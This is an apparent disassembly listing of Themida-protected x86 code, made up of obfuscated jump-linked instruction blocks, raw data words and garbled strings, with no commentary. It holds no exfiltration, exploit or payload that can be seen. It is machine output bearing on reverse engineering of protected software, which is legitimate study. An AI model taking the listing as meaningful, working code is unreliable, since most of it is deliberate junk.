loc_556351: ; CODE XREF: Themida_:0055CB0Aj
mov ecx, edi
pop edi
pop edx
add edx, ecx
pop ecx
xor edx, [esp]
jmp loc_55711B
; ---------------------------------------------------------------------------
loc_556360: ; CODE XREF: Themida_:0055E25Ej
sub ebx, 792741F5h
jmp loc_55F82A
; ---------------------------------------------------------------------------
db 0BBh
dd 3FCA0E32h, 92DE381h, 0E3C1194Ah, 27F38105h, 8160AE35h
dd 0B71874E3h, 0EBE38146h, 81492444h, 24001CEBh, 5BDA0140h
dd 0E9241487h, 4178h, 0FFEF805Ch, 0E902EC83h, 0FFFFE656h
; ---------------------------------------------------------------------------
loc_5563A8: ; CODE XREF: Themida_:005571D3j
mov [esp], ecx
push edx
push 7C6F3490h
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_55D6D6
; ---------------------------------------------------------------------------
loc_5563D4: ; CODE XREF: Themida_:00559642j
pop ebx
pop esi
movzx eax, al
push dword ptr [edi+eax*4]
push eax
jmp loc_55718D
; ---------------------------------------------------------------------------
dw 0F030h
dd 0F9E9565Ah, 6800007Eh, 3152h, 51243489h, 6DA7BD55h
dd 7CB90A85h, 293E02B4h, 242C8BE9h, 4C481h, 57530000h
dd 0FFE8A8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556411: ; CODE XREF: Themida_:0055AF4Dj
mov eax, 50D74069h
sub [esp+4], eax
pop eax
pop eax
add eax, 50D74069h
push dword ptr [esp]
pop edx
jmp loc_55B04B
; ---------------------------------------------------------------------------
dw 0EB80h
dd 80C30002h, 0C38002C3h, 0C0B60FF9h, 0E987048Fh, 0FFFFE48Eh
; ---------------------------------------------------------------------------
loc_556440: ; CODE XREF: Themida_:00556B76j
mov ecx, 30D267DEh
mov ebp, ecx
mov ecx, [esp]
add esp, 4
xor [esp+4], ebp
jmp loc_55C97A
; ---------------------------------------------------------------------------
loc_556456: ; CODE XREF: Themida_:00555CC7j
push esi
mov esi, 71B646FFh
shl esi, 1
push eax
jmp loc_55E891
; ---------------------------------------------------------------------------
loc_556464: ; CODE XREF: Themida_:00556C05j
push edx
push 4520h
mov [esp], esp
jmp loc_557E32
; ---------------------------------------------------------------------------
dw 8B66h
dd 8956241Ch, 4B850E6h, 1000000h, 0B00E9C6h, 0DF010000h
dd 4D2CE9h, 4C58300h, 5C242C87h, 81595451h, 4C1h, 4B85000h
dd 1000000h, 0FF5158C1h, 59042474h, 8B24048Fh, 17E92424h
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5564B7: ; CODE XREF: Themida_:0055FA6Ej
pop esp
mov [edi+24h], ebx
jmp loc_55EC48
; ---------------------------------------------------------------------------
aQsdj db 'Qéd¦',0
align 2
dw 0C89h
dd 2F02B924h, 0D2E9056Eh
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5564D3: ; CODE XREF: Themida_:0055E7A7j
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_55BCC7
; ---------------------------------------------------------------------------
loc_5564E5: ; CODE XREF: Themida_:0055B736j
pop esi
pop ecx
mov eax, esi
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_55DADF
; ---------------------------------------------------------------------------
loc_5564F9: ; CODE XREF: Themida_:0055CB70j
sub edx, 6004EA5Ah
push eax
jmp loc_55E0E4
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 6244E9h, 16626800h, 14890000h, 2474FF24h, 0EFE95A04h
dd 5900009Dh, 0A3ECE9h, 24148B00h, 4C481h, 49680000h, 89000013h
dd 74FF241Ch, 8F5B0424h, 0FF5C2404h, 0F1E92434h, 1000085h
dd 2434FFC8h, 4C48159h, 1000000h, 24048BC3h, 0FFFBB8E9h
dd 4B850FFh, 29000000h, 65E958C1h, 83000070h, 0B32D04C4h
dd 5654A022h, 451FF7BEh, 0D0EE8122h, 0E915E805h, 8BCEh
dd 42Dh, 24048700h, 2404895Ch, 0FFF116E9h, 1F180FFh, 4708E9h
dd 2806B700h, 5A665BFDh, 0C8BE800h, 4C48124h, 59000000h
dd 6821B551h, 3B22h, 0B4240489h, 58E5005Bh, 8087ED80h
dd 9EE992F5h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5565CB: ; CODE XREF: Themida_:005581AFj
add ebp, edi
jmp loc_55A838
; ---------------------------------------------------------------------------
dw 0EF81h
dd 0D338D180h, 3C8BF989h, 0F2C2E924h, 0BB53FFFFh, 0ED29DEh
dd 835BDF31h, 21E9FFEFh
db 32h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5565F3: ; CODE XREF: Themida_:0055581Cj
sub eax, edi
add eax, 6A002D30h
add eax, 59DF28EBh
mov edi, [esp]
jmp loc_554F54
; ---------------------------------------------------------------------------
db 0ACh
dd 0D804502Ch, 0E9E9D800h, 3100009Ch, 34332434h, 24343124h
dd 240C3156h, 0E9240C33h, 1F95h, 8124048Bh, 4C4h, 0E7895700h
dd 4C781h, 0EC830000h, 240C8904h, 4B9h, 56B85000h, 296C0852h
dd 0CF0158C7h, 5256BB53h, 0DF016C08h, 3925E9h
db 0
; ---------------------------------------------------------------------------
loc_55665D: ; CODE XREF: Themida_:0055DF25j
sub [esp+4], edx
jmp loc_559D09
; ---------------------------------------------------------------------------
loc_556666: ; CODE XREF: Themida_:0055AF28j
push ebx
sub esp, 4
mov [esp], eax
mov eax, 68C70619h
jmp loc_55CB15
; ---------------------------------------------------------------------------
db 29h
dd 92FBE9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55667E: ; CODE XREF: Themida_:0055F847j
mov [esp], eax
mov eax, 4
add ebp, eax
push dword ptr [esp]
pop eax
push ebp
jmp loc_556D5D
; ---------------------------------------------------------------------------
loc_556692: ; CODE XREF: Themida_:0055BCAEj
shr esi, 8
inc esi
xchg edi, esi
not edi
xchg edi, esi
add esi, 1
inc esi
push 9EEh
mov [esp], ecx
mov ecx, 0FFA07F96h
sub esi, 4ED430DCh
sub esi, ecx
add esi, 4ED430DCh
jmp loc_559C65
; ---------------------------------------------------------------------------
aWsX db 'Wé',0Bh,'X',0
align 2
dw 8147h
dd 2EDF03C7h, 2BC38118h, 148C658h, 5728E9FBh, 0C15F0000h
dd 0EFE902E7h, 0F7FFFFFEh, 2CF381D3h, 0E9D9B7A8h, 79B5h
dd 204CB3BBh, 81DBF76Eh, 70BEBCBh, 4E3C113h, 8101C383h
dd 44113C3h, 5FDFE9C2h, 0DE870000h, 20D0E9h, 71E95700h
db 69h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55671B: ; CODE XREF: Themida_:00556B8Cj
pop eax
jmp loc_55A49E
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 419589Dh, 9FE99C24h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55672F: ; CODE XREF: Themida_:0055F964j
pop ecx
sub esi, 784804ACh
add esi, edx
add esi, 784804ACh
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_554966
; ---------------------------------------------------------------------------
db 28h, 0E7h, 58h
dd offset dword_4A4E48+0A4A1h
dd 8DE99700h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55675B: ; CODE XREF: Themida_:0055F6CAj
add ecx, 2AD50E6h
add [ecx], eax
pop ecx
mov edx, [esp]
push esi
mov esi, esp
jmp loc_55E43E
; ---------------------------------------------------------------------------
db 8Bh
dd 8B662424h, 0B2E92404h, 290000A4h, 0FF04247Ch, 815F2434h
dd 4ECh, 2F78E900h, 0E95D0000h, 38C0h
; ---------------------------------------------------------------------------
loc_556794: ; CODE XREF: Themida_:0055C130j
jmp loc_5548CE
; ---------------------------------------------------------------------------
loc_556799: ; CODE XREF: Themida_:00556FE7j
inc bl
shl bl, 1
and bl, 0AAh
xchg dl, bl
push ecx
mov ch, dl
not ch
jmp loc_55937A
; ---------------------------------------------------------------------------
dd 8958C389h, 0F9015BDFh, 32DDE95Fh, 0F9010000h, 4BB3E95Fh
dd 5B680000h, 89000011h, 8BBA2414h, 8175F662h, 6E571ACAh
dd 13F28109h, 8124F171h, 0F0684EAh, 0FB1EE959h, 0E947FFFFh
dd 0FFFFE92Ah, 0C8B65266h, 5A66F328h, 1A2CCE04h, 8A18E9h
dd 24148900h, 0C281E289h, 4, 8704C283h, 315C2414h, 30FF66C3h
dd 0FFE0B5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556819: ; CODE XREF: Themida_:0055722Ej
add esp, 4
xchg esi, [esp]
jmp loc_5582EF
; ---------------------------------------------------------------------------
db 81h
dd 1FB52404h, 1C8B2982h, 4C48124h, 0C1000000h, 45E904EBh
dd 5C000024h, 3B206852h, 35680000h, 0E9000035h, 5FC9h
dd 0E9240481h, 2976400Bh, 2C812404h, 400BE924h, 72BB5376h
dd 10C9451h, 8B04245Ch, 0B9E9241Ch
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556873: ; CODE XREF: Themida_:00559579j
push eax
mov eax, 100B43E3h
dec eax
shr eax, 4
neg eax
neg eax
sub eax, 45402139h
push esi
mov esi, 47DF72CFh
xor esi, 0CE4DE3FEh
add eax, esi
pop esi
sub ecx, eax
pop eax
neg ecx
push edi
mov edi, 0D97CBB1Eh
xor ecx, edi
pop edi
add ecx, edx
pop edx
sub ecx, 9A1DD74h
add edx, ecx
pop ecx
jmp loc_5548CE
; ---------------------------------------------------------------------------
dd 54240C89h, 0FFEF64E9h, 8BCB89FFh, 92E9240Ch, 81FFFFF0h
dd 41FFEEBh, 0E9DE2901h, 0FFFFE02Eh, 23E9515Ch
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5568DB: ; CODE XREF: Themida_:0055F908j
mov ebx, 64547802h
mov ecx, ebx
pop ebx
shl ecx, 8
push esi
mov esi, 6A87599h
shl esi, 8
jmp loc_55CBFF
; ---------------------------------------------------------------------------
dd 9D1C77FFh, 19665866h, 0E99C2404h, 6ED8h, 24148966h
dd 0E99C5066h, 9592h, 236EEB81h, 0C30175D6h, 236EC381h
dd 0EB8175D6h, 4DF57D76h, 8124048Bh, 4C4h, 46C38100h, 513D3E46h
dd 0E252A7B9h, 0E181413Eh, 6DED79A6h, 426E981h, 0F1813ABAh
dd 0FB3F3AD2h, 159CB29h, 0A8C381C3h, 81091976h, 3E4646EBh
dd 93EB813Dh, 68238B39h, 160Ch, 0FF240489h, 148B2434h
dd 5B545324h, 4C381h, 0B9510000h, 4, 0F1E9CB01h
db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556987: ; CODE XREF: Themida_:0055BCF8j
pop esi
or eax, eax
jz loc_55D038
push 5417h
jmp loc_555D6E
; ---------------------------------------------------------------------------
loc_55699A: ; CODE XREF: Themida_:005558F9j
push edx
pop eax
jmp loc_55A0F0
; ---------------------------------------------------------------------------
loc_5569A1: ; CODE XREF: Themida_:0055C171j
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
push eax
jmp loc_556D47
; ---------------------------------------------------------------------------
db 5
dd 7FEE26BCh, 47A8B951h, 0C8016BD1h, 0FFE0E1E9h, 4C581FFh
dd 33000000h, 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFFDEEEh
dd 7CB0EE81h, 0C681271Ch, 321350DCh, 5B1F2D5Fh, 0F0290D73h
dd 735B1F05h, 2434FF0Dh, 9226E95Eh, 8B660000h, 89532404h
dd 75BE56E3h, 0E9421870h, 6A98h, 0AD5560BDh, 7E5C17Ch
dd 0DBDBB53h, 0DD014E54h, 0B9F5815Bh, 0E9A4FEBDh, 132Bh
dd 0F935E953h, 8B54FFFFh, 89512404h, 4C181E1h, 83000000h
dd 0C8704C1h, 24248B24h, 405h, 26BF5700h, 0C163B521h, 0E78103EFh
dd 5E7F0C95h, 5139C781h, 0F78147F5h, 546B5539h, 16E9F801h
dd 66000051h, 68240C8Bh, 6292h, 5A71E9h, 0E9E08900h, 25E5h
; ---------------------------------------------------------------------------
loc_556A88: ; CODE XREF: Themida_:0055F86Aj
pop dword ptr [esp]
jmp loc_555C69
; ---------------------------------------------------------------------------
loc_556A90: ; CODE XREF: Themida_:0055A4C9j
add esi, 4
xchg esi, [esp]
pop esp
push 4775h
mov [esp], ebx
jmp loc_55941A
; ---------------------------------------------------------------------------
dd 9CC1385Ch, 0FFDE21E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556AAD: ; CODE XREF: Themida_:0055C4A1j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
push edx
mov edx, 1C8B55D9h
xor edx, 5C726C98h
jmp loc_5605C6
; ---------------------------------------------------------------------------
aSqstd db ')èQéâ„',0
align 4
dd 0DC2F7968h, 240C8B62h, 16CFE9h, 0D831AD00h, 68685155h
dd 0E93AE208h, 75D4h, 5652E589h, 0FFDEBFE9h, 0EC815AFFh
dd 4, 51243489h, 320B2CB9h, 6BE18170h, 8111D863h, 547B87C1h
dd 68A2E92Eh, 0ABE90000h, 83FFFFDDh, 248904ECh, 24048124h
dd 4, 4BA525Bh, 0E9000000h, 0DAEh, 240C8B66h, 0FFAEE955h
dd 8B66FFFFh, 6856240Ch, 1261h, 81242489h, 42404h, 815E0000h
dd 4C6h, 4EC8100h, 0E9000000h, 31A9h
; ---------------------------------------------------------------------------
loc_556B6C: ; CODE XREF: Themida_:00556BA9j
sub esp, 4
mov [esp], ebp
push ecx
jmp loc_556440
; ---------------------------------------------------------------------------
db 5Eh
dd 148BD101h, 4C48324h, 134DE9h
db 0
; ---------------------------------------------------------------------------
loc_556B89: ; CODE XREF: Themida_:0055D559j
push dword ptr [esp]
jmp loc_55671B
; ---------------------------------------------------------------------------
db 5, 7Ch, 0EFh
dd 0C701AB0Fh, 60DBE9h
db 0
; ---------------------------------------------------------------------------
loc_556B9D: ; CODE XREF: Themida_:0055E1F3j
add esp, 4
jmp loc_558A1B
; ---------------------------------------------------------------------------
loc_556BA8: ; CODE XREF: Themida_:00555ACFj
push esi
jmp loc_556B6C
; ---------------------------------------------------------------------------
dw 0F068h
dd 594ED151h, 33D0F181h, 0F4E95414h
db 45h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556BBF: ; CODE XREF: Themida_:0055B075j
xchg ebp, ecx
jmp loc_55ABA1
; ---------------------------------------------------------------------------
dw 0D901h
dd 31D0C181h, 685B06B4h, 4ED2h, 52240489h, 1BFE9h
db 0
; ---------------------------------------------------------------------------
loc_556BDD: ; CODE XREF: Themida_:0055BA4Cj
and ecx, edx
pop edx
shr ecx, 6
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
pop eax
jmp loc_556464
; ---------------------------------------------------------------------------
dw 0BD55h
dd 0E3581930h, 515DE829h, 0CA89C189h, 81240C8Bh, 4C4h
dd 24048B00h, 4C481h, 0D0290000h, 0FFFECCE9h, 4C481FFh
dd 83000000h, 3C8904ECh, 4EC8124h, 89000000h, 25E92434h
dd 28FFFFE5h, 3F2C5AF0h, 2CDBE9h, 42D2F700h, 6FCAE281h
dd 67E96A84h, 0B7000073h, 80D7F6FBh, 0C780F1C7h, 14F7808Eh
dd 1F4FE9h, 80C5FE00h, 0CD800BEDh, 0A0CD801Ah, 51EAF580h
dd 0E998B652h, 9146h, 0EF28F7B5h, 8FCF8059h, 5350C7FEh
dd 4274E9h, 0C8B6600h, 0E7895724h, 21E5B951h, 0E1D15CBBh
dd 7111E9h, 0D9BD5500h, 292492D9h, 6CE2E9E8h, 478F0000h
dd 0DC08E940h, 0E380FFFFh, 57D8E92Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556CCE: ; CODE XREF: Themida_:00555788j
push dword ptr [ebx]
pop ecx
push dword ptr [esp]
pop ebx
add esp, 4
push 2DD3h
mov [esp], edx
mov edx, 0F8C15A5h
push esi
push eax
mov eax, 102B2FC9h
mov esi, eax
pop eax
not esi
shr esi, 8
jmp loc_55E223
; ---------------------------------------------------------------------------
dd 582434FFh, 356AE9h, 0DBC4E900h, 0EA01FFFFh, 0E4AC281h
dd 2C8B1174h, 0E6895624h, 4C681h, 7FE90000h, 33000002h
dd 1C31241Ch, 241C3324h, 0B30F665Ch, 0E99C2404h, 0FFFFDB96h
dd 4BAh, 143C2D00h, 4DE947BFh
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556D47: ; CODE XREF: Themida_:005569B2j
mov eax, 68DB7C51h
push edi
mov edi, 23347D01h
xor edi, 3CEA07C1h
jmp loc_5604EB
; ---------------------------------------------------------------------------
loc_556D5D: ; CODE XREF: Themida_:0055668Dj
mov ebp, esp
jmp loc_55A2D6
; ---------------------------------------------------------------------------
loc_556D64: ; CODE XREF: Themida_:00555149j
push esi
mov esi, 0A1C4F49h
add esi, 7DE26C6Ah
add esi, 78014451h
add edx, esi
jmp loc_55AFA8
; ---------------------------------------------------------------------------
a_sL db '_é~L',0
dw 8100h
dd 4ECh, 24048900h, 0FFF3AAE9h, 0B2CD81FFh, 0E9587E6Fh
dd 56D5h, 0D7055EBAh, 81D2F779h, 1DBFF0EAh, 5AD0893Fh
dd 3506E8C1h, 11C2CEEh, 1154E981h, 0C10164F3h, 1154C181h
dd 875864F3h, 248B240Ch, 2434FF24h, 42A8E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556DD2: ; CODE XREF: Themida_:0055E990j
xor edi, [esp]
pop esp
mov [esp], edi
mov edi, 1
and eax, edi
push dword ptr [esp]
jmp loc_5550B2
; ---------------------------------------------------------------------------
dd 5F2434FFh, 25F8E9h, 2434FF00h, 5244E9h, 1AC38100h, 291CE873h
dd 2B73E9C3h, 0D6F70000h, 0C14EDEF7h, 0C68106E6h, 6828AF44h
dd 515EF301h, 4B9h, 0CAB95100h, 81725631h, 606463EBh, 81CB0111h
dd 606463C3h, 71E95911h, 57000074h, 0E92414F7h, 6187h
dd 2BD55h, 0EE010000h, 2434335Dh, 33243431h, 248B2434h
dd 0E1F76624h, 491768h, 243C8900h, 89E95F54h, 0B300006Ch
dd 0E14BE961h, 8143FFFFh, 5570AAF3h, 51DBF758h, 9F64AAB9h
dd 81D1F72Fh, 0B10AA5E9h, 14E18136h, 0F7430A6Eh, 8E9C1D9h
dd 0AB23C181h, 3DE9388Dh
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556E9B: ; CODE XREF: Themida_:0055935Bj
add eax, 0AC6F5465h
xor ecx, eax
pop eax
and ecx, 3737438Eh
jmp loc_55FADF
; ---------------------------------------------------------------------------
loc_556EAE: ; CODE XREF: Themida_:0055834Aj
xor bl, 0B4h
jmp loc_55F658
; ---------------------------------------------------------------------------
aSk db ')\$',8,'éŠ<',0
dw 5B00h
aZLHb db '‡,$‹$$h¡[',0
dw 8900h
dd 2C81243Ch, 7575D124h, 38428F64h, 0D1384281h, 5F647575h
dd 551768h, 243C8900h, 43A6BB53h, 0D4E930C8h, 5C000043h
dd 4C381h, 0BA520000h, 2, 335AD301h, 1C31241Ch, 241C3324h
dd 401665Ch, 20E99C24h, 81000088h, 401636EFh, 6BC02DE5h
dd 0F8016B0Ah, 0A6BC005h, 243C8B6Bh, 505F5457h, 981FE9h
dd 16EE8100h, 8134B046h, 3FF6B7EEh, 5EF78981h, 442CC581h
dd 0FD014B06h, 442CED81h, 0D15F4B06h, 78FCE9E5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556F5A: ; CODE XREF: Themida_:0055D2C7j
pop ebx
push eax
not dword ptr [esp]
pop eax
add eax, 843EB31Fh
sub ecx, eax
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_55B649
; ---------------------------------------------------------------------------
loc_556F7B: ; CODE XREF: Themida_:00555497j
push edi
mov edi, 361F51A5h
jmp loc_55E0F4
; ---------------------------------------------------------------------------
dw 8158h
dd 2C6h, 9B44E900h, 0E2890000h, 4C281h, 0EA830000h, 2A99E904h
dd 0BF570000h, 4, 52FEE9h, 39E95100h, 2C000067h, 241C8BC5h
dd 32D5E9h
db 0
; ---------------------------------------------------------------------------
loc_556FBD: ; CODE XREF: Themida_:0055D977j
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55AFB4
; ---------------------------------------------------------------------------
dw 0D9F6h
dd 0E980D1F6h, 1DEDE9C0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556FDA: ; CODE XREF: Themida_:00554D10j
push ecx
mov ecx, 61917D8Ch
jmp loc_55ACCB
; ---------------------------------------------------------------------------
loc_556FE5: ; CODE XREF: Themida_:00557E9Cj
dec bl
jmp loc_556799
; ---------------------------------------------------------------------------
dd 40F8CA81h, 0DAF715FDh, 3042E9h, 8B545300h, 0C481241Ch
dd 4, 4C381h, 18E90000h, 0D1000055h, 419505E8h, 0BF57E0A0h
dd 528578F8h, 0EF81D7F7h, 36CA3DEBh, 0E95FFE29h, 5DEBh
dd 4240481h, 5F000000h, 5D7968h, 2583E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55703E: ; CODE XREF: Themida_:0055E363j
push ebx
mov ebx, 2CB8320Ch
sub ebx, 2CB83208h
mov eax, ebx
pop ebx
jmp loc_5561FF
; ---------------------------------------------------------------------------
dw 0EF81h
dd 93FE73F9h, 895FFE01h, 36E95EF3h, 81000097h, 42404h
dd 0F1E90000h, 58000097h, 405h, 9655E900h, 0C6290000h
dd 5C70C681h, 86E91102h, 0F7000023h, 6195E9D5h, 2C870000h
dd 0B62D5C24h, 1160305h, 0B6BB53F0h, 0E9160305h, 453Dh
dd 0CCE9DFF7h, 400007Eh, 2CD800E0h, 5F8AE9E0h, 14310000h
dd 24143324h, 6624248Bh, 6866F9F7h, 89662F24h, 50662414h
dd 0D7FCE99Ch, 0B5B7FFFFh, 0D8E9FA20h, 8B00006Bh, 54512404h
dd 656DE9h, 72F96800h, 2C890000h, 30A9E924h, 248B0000h
dd 0EA0AE924h, 248BFFFFh, 0A65E924h, 0C6810000h, 271C7CB0h
dd 4B4FEE81h, 0FE0115FBh, 4B4FC681h, 0C5E915FBh
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55711B: ; CODE XREF: Themida_:0055635Bj
xor [esp], edx
xor edx, [esp]
jmp loc_55F672
; ---------------------------------------------------------------------------
dw 0F66h
dd 50E902B6h, 49000069h, 964CC181h, 0C829D780h, 941AE9h
dd 24048B00h, 4C481h, 44680000h, 89000068h, 0E0892404h
dd 4BF57h, 0F8010000h, 0E951565Fh, 76CDh, 4BEh, 5EF30100h
dd 75C368h, 24048900h, 5E75E9h
db 0
; ---------------------------------------------------------------------------
loc_557175: ; CODE XREF: Themida_:0055F415j
push dword ptr [esp]
pop esi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5592D7
; ---------------------------------------------------------------------------
loc_55718D: ; CODE XREF: Themida_:005563DDj
push 1EDE0BA5h
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_55C72B
; ---------------------------------------------------------------------------
dd 4A30F66h, 0D9E99C24h, 8B000076h, 0C4812414h, 4, 0FFD70DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5571C1: ; CODE XREF: Themida_:00559A28j
mov cl, ah
pop eax
mov ebx, [esp]
jmp loc_55D5DC
; ---------------------------------------------------------------------------
loc_5571CC: ; CODE XREF: Themida_:005591D1j
xor eax, edx
push 1E9Ah
jmp loc_5563A8
; ---------------------------------------------------------------------------
dd 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h, 18BB5324h
dd 0C131F179h, 814306E3h, 0A1BA03C3h, 2883E983h, 2C890000h
dd 5CF4E924h, 0F4800000h, 6E4C092h, 8005E4C0h, 0E308F5F4h
dd 69E38058h, 0FFFAA5E9h, 44D8BFFFh, 24E91C9Eh
db 16h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55722B: ; CODE XREF: Themida_:0055FCA2j
mov ecx, [esp]
jmp loc_556819
; ---------------------------------------------------------------------------
loc_557233: ; CODE XREF: Themida_:00560C40j
inc esi
jmp loc_55F40C
; ---------------------------------------------------------------------------
loc_557239: ; CODE XREF: Themida_:0055AD8Dj
add esp, 4
or eax, eax
jz loc_55E905
push dword ptr [edi+28h]
add dword ptr [esp], 4E5076AEh
pop eax
sub esp, 4
mov [esp], ebx
push edi
mov edi, 26440A54h
mov ebx, edi
pop edi
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
sub esp, 4
mov [esp], ebx
mov ebx, 1C2037BDh
mov edi, ebx
pop ebx
jmp loc_559876
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0C1000000h, 0E1C105E9h, 385DE902h, 0C15F0000h, 0CCE907EEh
dd 6800003Eh, 3308h, 0B6241489h, 0BBEE80B8h, 35D56866h
dd 24148966h, 12454F6h, 57E95A66h
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5572C7: ; CODE XREF: Themida_:0055D5A9j
push ebp
mov ebp, 79EF77C1h
shr ebp, 3
sub ebp, 0FCA4815h
dec ebp
shl ebp, 5
shr ebp, 4
xor ebp, 0EE74DC0h
jmp loc_55B905
; ---------------------------------------------------------------------------
loc_5572E8: ; CODE XREF: Themida_:0055D6D9j
sub esp, 4
jmp loc_55FAC9
; ---------------------------------------------------------------------------
db 81h
dd 177D72E9h, 0E9D90115h, 0FFFFE2B9h, 0C76B850h, 0B3E91FEAh
db 5, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55730B: ; CODE XREF: Themida_:0055D0C9j
pop edi
push edx
mov edx, esp
push ecx
mov ecx, 320D7007h
xor ecx, 7C23023Fh
xor ecx, 4E2E723Ch
jmp loc_555C75
; ---------------------------------------------------------------------------
dw 0FE0Ch
a4zXsI db '4z(ÆX霈',0
align 2
aZhx db 'Zhå"',0
align 4
dd 0F7241489h, 148B2414h, 4C48124h, 0E9000000h, 0DAFh
dd 0E908E5C1h, 244Ah
; ---------------------------------------------------------------------------
loc_557354: ; CODE XREF: Themida_:0055F954j
sub ebx, 4EA306DFh
add ebx, edx
add ebx, 4EA306DFh
pop edx
mov edx, ebx
pop ebx
not edx
push ebx
mov ebx, 5E592CE9h
add ebx, 768E7F75h
sub ebx, 0D4E7AC5Fh
add edx, ebx
jmp loc_55807A
; ---------------------------------------------------------------------------
db 50h, 53h, 68h
dd 3C2529B4h, 6EE3815Bh, 816B6F42h, 250026F3h, 5F1EE928h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55739A: ; CODE XREF: Themida_:00557639j
jmp loc_5548CE
; ---------------------------------------------------------------------------
db 0F3h
dd 386203A5h, 1FE0E9h, 0F7D7F700h, 61EF81D7h, 8937823Ch
dd 88B5E9FBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5573BA: ; CODE XREF: Themida_:0055D695j
xchg edx, [esp]
pop esp
mov [esp], ebx
mov ebx, 20h
sub ebx, 3E024EB2h
add ebx, edi
push 1E78h
mov [esp], edi
push edx
push ebx
mov ebx, 1ED952B5h
mov edx, ebx
pop ebx
xor edx, 9B16E0Ch
sub edx, 18EB2576h
not edx
sub edx, 0D7B16E2Ch
mov edi, edx
pop edx
not edi
jmp loc_559165
; ---------------------------------------------------------------------------
aYhz db 'YhZ',0Bh,0
align 4
dd 89241C89h, 66E952E3h, 8F000088h, 335C2404h, 14312414h
dd 24143324h, 5124248Bh, 5E08950h, 4, 0FFF157E9h, 88E954FFh
dd 89000014h, 4C781E7h, 51000000h, 27745FB9h, 49D1F742h
dd 8B9BBA52h, 0D129BDD8h, 4EC7815Ah, 124234Eh, 4EEF81CFh
dd 5924234Eh, 5C243C87h, 0FFD62EE9h, 241C87FFh, 37B9515Ch
dd 0E94EF126h, 314Ch, 381CC381h, 0EB016DA1h, 381CEB81h
dd 6CE96DA1h, 28FFFFE8h, 0B65251E8h, 95A1E998h, 0D0210000h
dd 14ECE9h, 0D9F74900h, 9538F181h, 0C2818FFAh, 7B7B6520h
dd 0EA81CA29h, 7B7B6520h, 55C22959h, 0AF705A68h, 0D5F75D01h
dd 1C581h, 0EDC10000h, 8EDC108h, 78B2B951h, 0CD0120F9h
dd 53240C8Bh, 0C381E389h, 4, 8704C383h, 0F75C241Ch, 18ED81D5h
dd 16D3F0Dh, 8343E9EAh, 0C3010000h, 6D95C381h, 33583D1Bh
dd 1C31241Ch, 1E40E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557506: ; CODE XREF: Themida_:0055EFF0j
add ebx, 4
jmp loc_555EFD
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 67Bh, 19E9D089h, 29000003h, 2434FFC2h, 43F7E958h
dd 665C0000h, 0DAB25253h, 0E9E9E280h, 5A1Ch, 0FF24248Bh
dd 34FF2434h, 0E276E924h, 0E951FFFFh, 5AB0h, 728CE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557556: ; CODE XREF: Themida_:0055D7A4j
mov edi, [esp]
add esp, 4
add edi, 4
add edi, 4
xor edi, [esp]
jmp loc_55A53F
; ---------------------------------------------------------------------------
loc_557573: ; CODE XREF: Themida_:0055F653j
dec esi
push esi
xchg esi, [esp]
jmp loc_555156
; ---------------------------------------------------------------------------
db 81h, 4, 24h
dd 4, 81240C8Bh, 4C4h, 4C18100h, 83000000h, 0C8702C1h
dd 0F7665C24h, 4EC83E9h, 89240489h, 4BF57E0h, 1000000h
